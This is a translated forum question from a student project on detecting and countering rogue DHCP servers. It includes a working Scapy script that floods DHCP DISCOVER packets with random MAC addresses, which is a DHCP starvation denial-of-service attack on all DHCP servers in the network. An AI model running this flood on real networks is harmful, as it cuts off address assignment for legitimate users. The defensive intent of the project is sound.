Как снести мошеннический DHCP-сервер (DoS)?
Так что для проекта я пытаюсь обнаружить и смягчить мошеннические DHCP-серверы в сетях. Я сделал все, я создал скрипт, который будет создавать пакеты обнаружения (с помощью Scapy), если будет обнаружено более одного ответа, у меня есть другой скрипт, который будет делать все DHCP-серверы в сети с DHCP-голоданием, и это работало нормально.
Однако сегодня я встретился с моим руководителем проекта, и он сказал мне, что я должен делать только DHCP-сервер-мошенник, где мой сценарий делает ВСЕ DHCP-серверы.
Я понятия не имею, как бы я поступил по этому поводу. У кого-нибудь есть идеи?
from scapy.all import *
from time import sleep
from threading import Thread
conf.checkIPaddr = False
pkt = Ether(src=RandMAC(), dst='ff:ff:ff:ff:ff:ff')
pkt /= IP(src='0.0.0.0', dst='255.255.255.255')
pkt /= UDP(sport=68, dport=67)
pkt /= BOOTP(chaddr=RandString(12, '0123456789abcdef'))
pkt /= DHCP(options=[('message-type', 'discover'), 'end'])
sendp(pkt, loop=1)